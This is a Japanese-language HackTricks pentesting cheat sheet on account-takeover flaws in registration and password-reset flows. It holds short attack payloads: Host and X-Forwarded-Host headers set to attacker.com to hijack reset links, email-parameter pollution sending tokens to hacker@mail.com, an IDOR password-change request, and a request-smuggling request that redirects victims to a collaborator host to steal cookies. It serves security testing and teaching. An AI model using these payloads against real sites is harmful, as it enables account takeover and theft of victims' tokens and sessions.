hacktricks/pentesting-web/registration-vulnerabilities.md
2023-07-07 23:42:27 +00:00

12 KiB
Raw Blame History

登録と乗っ取りの脆弱性

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

登録の乗っ取り

重複登録

  • 既存のユーザー名を使用して生成しようとしてみてください
  • メールを変えてみてください:
  • 大文字
  • +1@
  • メールに何か追加してください
  • メール名に特殊文字を使用する(%00、%09、%20
  • メールの後に黒い文字を入れてください:test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

ユーザー名の列挙

アプリケーション内で既にユーザー名が登録されているかどうかを確認してください。

パスワードポリシー

ユーザーを作成する際にパスワードポリシーをチェックしてください(弱いパスワードを使用できるかどうかを確認してください)。
その場合、資格情報のブルートフォースを試みることができます。

SQLインジェクション

このページをチェックして、登録フォームでのSQLインジェクションを使用してアカウントの乗っ取りや情報の抽出を試みる方法を学びます。

Oauthの乗っ取り

{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}

SAMLの脆弱性

{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}

メールの変更

登録後、メールを変更して、この変更が正しく検証されるか、または任意のメールに変更できるかを確認してください。

その他のチェック

  • 使い捨てメールを使用できるかどうかを確認してください
  • 長い パスワード>200DoSにつながります
  • アカウント作成のレート制限を確認してください
  • username@burp_collab.netを使用し、コールバックを分析してください

パスワードリセットの乗っ取り

リファラ経由のパスワードリセットトークンの漏洩

  1. メールアドレスに対してパスワードリセットをリクエストします
  2. パスワードリセットリンクをクリックします
  3. パスワードを変更しないでください
  4. 3rdパーティのウェブサイトFacebook、Twitterをクリックします
  5. Burp Suiteプロキシでリクエストをインターセプトします
  6. リファラヘッダがパスワードリセットトークンを漏洩しているかどうかを確認します。

パスワードリセットの改ざん

  1. Burp Suiteでパスワードリセットリクエストをインターセプトします
  2. Burp Suiteで次のヘッダを追加または編集しますHost: attacker.comX-Forwarded-Host: attacker.com
  3. 修正されたヘッダでリクエストを転送します
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. _hostヘッダ_に基づいたパスワードリセットURLを探します。例https://attacker.com/reset-password.php?token=TOKEN

メールパラメータ経由のパスワードリセット

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

APIパラメーターにおけるIDOR

  1. 攻撃者は自分のアカウントでログインし、パスワード変更機能に移動します。
  2. Burp Suiteを起動し、リクエストをインターセプトします。
  3. リクエストをリピータータブに送信し、パラメーターを編集しますユーザーID/メール
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

弱いパスワードリセットトークン

パスワードリセットトークンはランダムに生成され、毎回一意である必要があります。
トークンが期限切れになるか、常に同じかどうかを判断してください。一部の場合、生成アルゴリズムが弱く、推測される可能性があります。以下の変数がアルゴリズムで使用される場合があります。

  • タイムスタンプ
  • ユーザーID
  • ユーザーのメールアドレス
  • 名前と姓
  • 生年月日
  • 暗号化
  • 数字のみ
  • 小さなトークンシーケンス([A-Z,a-z,0-9]の文字)
  • トークンの再利用
  • トークンの有効期限

パスワードリセットトークンの漏洩

  1. 特定のメールアドレスtest@mail.comに対してAPI/UIを使用してパスワードリセットリクエストをトリガーします。
  2. サーバーのレスポンスを検査し、resetTokenを確認します。
  3. 次に、次のようなURLでトークンを使用しますhttps://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

ユーザー名の衝突によるパスワードリセット

  1. ユーザー名が被害者のユーザー名と同じであるが、ユーザー名の前後に空白が挿入されたシステムに登録します。例:"admin "
  2. 悪意のあるユーザー名でパスワードリセットをリクエストします。
  3. メールで送信されたトークンを使用して被害者のパスワードをリセットします。
  4. 新しいパスワードで被害者のアカウントに接続します。

この攻撃は、CTFdプラットフォームに対して有効でした。
参照:CVE-2020-7245

クロスサイトスクリプティングによるアカウント乗っ取り

  1. アプリケーションまたはサブドメイン内でXSSを見つけますクッキーが親ドメインにスコープされている場合は、*.domain.com)。
  2. 現在のセッションクッキーを漏洩させます。
  3. クッキーを使用してユーザーとして認証します。

HTTPリクエストスマグリングによるアカウント乗っ取り

  1. smugglerを使用してHTTPリクエストスマグリングのタイプを検出しますCL、TE、CL.TE
    powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\
  2. 次のデータでPOST / HTTP/1.1を上書きするリクエストを作成します:
    GET http://something.burpcollaborator.net HTTP/1.1 X: 目的は、被害者をburpcollabにリダイレクトし、クッキーを盗むことです。\
  3. 最終的なリクエストは以下のようになります。
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackeroneの報告によると、このバグを悪用する方法があります。

CSRFによるアカウント乗っ取り

  1. CSRFのためのペイロードを作成します。例「パスワード変更のための自動送信HTMLフォーム」
  2. ペイロードを送信します。

JWTによるアカウント乗っ取り

JSON Web Tokenはユーザーの認証に使用される場合があります。

  • 別のユーザーID/メールでJWTを編集します。
  • 弱いJWT署名をチェックします。

{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}

参考文献

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥